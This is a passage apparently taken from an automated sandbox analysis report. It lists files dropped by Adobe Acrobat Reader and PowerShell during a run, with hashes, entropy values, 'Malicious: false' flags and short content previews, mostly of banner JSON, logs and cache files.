Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259837631977568
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfYdPeUkwRe9:YvXKXB4/4UTbdbOGg8Ukee9
MD5:	0F6F05AB3BDA2800C8AAB6E550DD4BA8
SHA1:	2225ED8457A0148B62A7276EA3390122C4B5C5A5
SHA-256:	CA082F350059A5F6630F08A878E77F6CFAF8651E7C1AC4DB0B63972EFEECF4B7
SHA-512:	CC2AE22F8EE95D268E6443B6AB26BA8FB8D86B3B93F3D4B365E1BF50442610CF9D61452005B1342A87CFB517B487F2C5691393413D7BEB5F7988B4993C14D4ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2454799117840265
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJf+dPeUkwRe9:YvXKXB4/4UTbdbOG28Ukee9
MD5:	C60A17D62AD8AC27EE3F1205D658C9C9
SHA1:	E3370EB07D7D5538CCA89007414464E7D4179033
SHA-256:	8CCCBBA71A786F0774DF47B2D2C5A0B70CAE78698AAC7435CF2F6C75943BF27B
SHA-512:	1D672C7BD1EC7E63818F9B07F11DC0FC661278AC83268D2FE9C510E118AA08B545F99037BD193B40DC70427EBF2274E45872CDBC82B601BDF89D101AC4F1C1E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.243660759672204
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfbPtdPeUkwRe9:YvXKXB4/4UTbdbOGDV8Ukee9
MD5:	E061C2A4EBE7D65203D9E7B1E7C7118A
SHA1:	8F8C64A801A872947F6AE08121AE9FD2BF52582F
SHA-256:	44BFDDAB2346C632A152C7ACD32AC350048463A4A7E8FB832A8FB662530CC5E1
SHA-512:	0CE86091329C75E59E79E08CBFE4179E0721F87BA40E1DB3849B0E846C619CC0AABA6486A319BB674EA9C1C8E27BF711B4EE28759C14F903D8F475DC356C2154
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.246782038422865
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJf21rPeUkwRe9:YvXKXB4/4UTbdbOG+16Ukee9
MD5:	D1EDD0B3A3ABB2D35FD4C5E743446231
SHA1:	8657186E09B6A84EDDEAFD0B973279A9973485DD
SHA-256:	E9068731754F4852BE642CD2E943CA1405734B353E5FE580E6702206FE460378
SHA-512:	95F0FC294AFFAF5BFCB7463F5F9A2C56C98F02BA2393AF5D44AE01B47E3FAA874863C42ECB3F00145E9E9AE7CADBC68740E48DF5C32A5AB7C96EA26E82992BEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663297850020177
Encrypted:	false
SSDEEP:	24:Yv6XB4gUXtamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSL:YvK4gwBBgkDMUJUAh8cvML
MD5:	7831B92E304F95D84593F9248305C402
SHA1:	D7F8B1860BC5F1F286583C92DE73AD688AE6CFD5
SHA-256:	8B66CAD22C58BB75128C3833DBD9B8A3FFB51655D46E049A02CBE6E54A707824
SHA-512:	1296F2A2879BE4DC22B91DDF69B75FCF2228758435DA8290E6A3488FDF254DD77B85348EE85C02447B5012A97B8E7953AFB40B2EC47A76A431645018592CB2DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224271958168133
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJfshHHrPeUkwRe9:YvXKXB4/4UTbdbOGUUUkee9
MD5:	20A6E39CD6DA0AEBDE81197314942775
SHA1:	747574CBECE3134E44E0A10B21B5AAB5727B45B2
SHA-256:	20B0E32E9EF60D308C8B280A8ED8D182933FDDFE8D73FF9C754BC52FDE1F2C2A
SHA-512:	8DD3F49030BF14A61F149B938DA3F557FE105C16F3EC8F65222702B8756F586D29FBFDF0BBBA5EFCF8B30AC021500AA8ECE7FBAB9A08ED05B6B43DB73A0BD118
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.235790855357918
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7CYyVc4NoE4UXjb24kF0YJExoAvJTqgFCrPeUkwRe9:YvXKXB4/4UTbdbOGTq16Ukee9
MD5:	072CD964CCCFF376A1D9FABBBDBA0E72
SHA1:	33ED2FD8640174288B039953F6480117A08DEB77
SHA-256:	9CADF7EF0BB4331E0333CF88E3C2356F47F456D281F8DE88D1B42D6DDB6B0004
SHA-512:	248B68CC6201C47A375AB89B94004844506A1E561EC43167790122CBC78A86DAA22642C007643102A7F8EDF52EEEDF595F222547228B8E60F65A680F59CEDF33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c4cc08ae-f787-490a-a359-738c7ef75948","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736734267797,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1392625493788175
Encrypted:	false
SSDEEP:	24:YDKfFZaEHayhqu8Sqxkc6l3bXZrjm2Uj0SBEBC52NWP2LSDCncq8kgZQy5ZA9WvM:YWd3FyB6lhqmChPR+cq83Zhc9WE
MD5:	FE67A0D9B0EA4C0C4BFE683739F85234
SHA1:	54606A2D0B3B3AE6BD88235C907C59983C3EB21C
SHA-256:	2452065E480B2929E80FC82E46ACFD18A2BE0D8F5B60DE902DCA5E2506C3EB3B
SHA-512:	1CEB53B309C1A25F0325ED6A34C9B92EB81C951F06B0EC6A2ACA158CB74EC75DE2BE3169F43194209A0415C88BC3D1429C98CF757EBF16633F8A0919CB04F4C4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b1711115bd4d48caefa41a3f2046993c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556472000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6e6928a1f153654d498c80b1919e1492","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556472000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"98d163db31d7004d0e3f112db695fd48","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556472000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b971e471fa851dfb57e7fa150440ca7e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556472000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a280ef4068250d98398e4fc9afede18e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556472000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bdff89a60df334b29d7bf512f0e6438f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319420108880287
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yi+EXSqXlya:TGufl2GL7msUKB0M0+Tb608Y7ra
MD5:	DF2A521979EC473E5CE8348B90A9A6F0
SHA1:	49FA39E3CF9DDDD4745CB2DC95E4BEDC4E6E69FE
SHA-256:	4904A230DA1B3AF150EA63B7F5244D5AD821CACB931BD91800F1083849887121
SHA-512:	71A546D5C352015F5AF6C515E27963A80BFD399D0C2CB4E169A14DC19BC88A2279D44B7102DDFA217C991610AF7C366E057AB3DD0F484B759390BB9CFA8973E1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7808525125218897
Encrypted:	false
SSDEEP:	24:7+tAl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yi/EXSqXlyGKai5VqLhx/XYKQvl:7MOKB0M0+Tb608YirGKlVqFl2GL7msy
MD5:	72685BD80DB3292D24C64DD0D01757EE
SHA1:	763DD5F60037EE83DF147004D4356F93A2419E57
SHA-256:	199A268715C156796C9ECF5ED0775683438ED7B43A23A7AA052112E4BF563285
SHA-512:	6905E25D70F9AD2C38C1DD8D7DA4C6B9A8F65E1A2C2279410A8432834580F73A140E1EEFEA35DA9D82D3F4FCE4664A0E485A5FED0922A621C12E7F58569CCE6C
Malicious:	false
Preview:	.... .c.....(7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5iE9gK4eJzVaj17WEIiDS4asKYyu:6a6TZ44ADE5iEijeJzVa04ZKK
MD5:	CE620952FBC5D6806308922606189D35
SHA1:	549CD70330F9B1C1F9F4CDE5D8AA6C7B0D246932
SHA-256:	1599FE5CC8E33545EABB0507CB414451ED82FD2D28E6F84E7031522BD8510B60
SHA-512:	BB26CB9306C04EB2F64882A8B8DC8E776DC7F5B176E011709824C5786DDF8156875C9F57BA09B9BCCBE17BDADAC229D1ADBC2DC1DF9790244F63DC2CAC57F5C2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI1c461.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEwWH:Qw946cPbiOxDlbYnuRK+bDB
MD5:	F0ECDD005B9ED8E662306CBB3511B041
SHA1:	3112BEFE7DB37386F0CEB20E07CEE24D257AE3AE
SHA-256:	837CCC8BD3340E94A694004C3CEDEB5119A68AA149B003BA403F1694C3D4589F
SHA-512:	983B40DF6D3104CD659C8DB0C9F9BE4E4AC19F579C41B65B3AEDA2FD05DBF14174AB8058DC03641CEC316B953DF6C0A352522D1C3B8266B2EDE58D624CA04FCE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.4.7.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddzig5y4.y2g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxvfvvcb.jrl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-47-46-036.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.35292296029529
Encrypted:	false
SSDEEP:	384:F9ZoJZkouwzrqxQYY50taE9cMvkA9b788vSL5hb4hm60yavTzoxqxymX6g6XxWeu:4i8
MD5:	D5167D6163B4500C458486672C55DA54
SHA1:	E07CF555FED223D4C30DEFDB69868BD7FF88FC7E
SHA-256:	B00E16D100853F7334D1B78B40A1C06536419722AF318461788AFC191C57ABFA
SHA-512:	767EE368E0A3CBCD877B6210CE4947F7A7257E05323E01D4F6C5BCCB6FDE6160D0AFA81AF6F1C7FF80955C66E36EC50B52E065ADAE87DEE72F8DFDC6A0262770
Malicious:	false
Preview:	SessionID=68f1c83d-d265-4eff-a0c1-1540fc929551.1736556466054 Timestamp=2025-01-10T19:47:46:054-0500 ThreadID=8696 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=68f1c83d-d265-4eff-a0c1-1540fc929551.1736556466054 Timestamp=2025-01-10T19:47:46:056-0500 ThreadID=8696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=68f1c83d-d265-4eff-a0c1-1540fc929551.1736556466054 Timestamp=2025-01-10T19:47:46:056-0500 ThreadID=8696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=68f1c83d-d265-4eff-a0c1-1540fc929551.1736556466054 Timestamp=2025-01-10T19:47:46:056-0500 ThreadID=8696 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=68f1c83d-d265-4eff-a0c1-1540fc929551.1736556466054 Timestamp=2025-01-10T19:47:46:056-0500 ThreadID=8696 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4085167215932906
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmA:EGvIcNYdADtfA2m
MD5:	B03CD5B8CC486DA4DF849BEAB2E667E5
SHA1:	BEF4D1D8FAD3D8DD6F2BD62724C315A9E2311222
SHA-256:	12AA5BDFC45A48FEF9A31D0EC35A8C34F88C390707C14F350E22379A364A6C16
SHA-512:	08E799BE794DC10D74A092BD723B37DEB14D68A8CA4707E8E157F3F60D59B4280BD8F9F75B6D043C21C26764739326CB6602523FB8E6E2C4699B6098B0B4E6A8
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\57bad8d1-220d-4488-99ac-0bf8faceffc1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\65daf899-5498-4cf0-9d69-70b72382ba8e.tmp

Download File

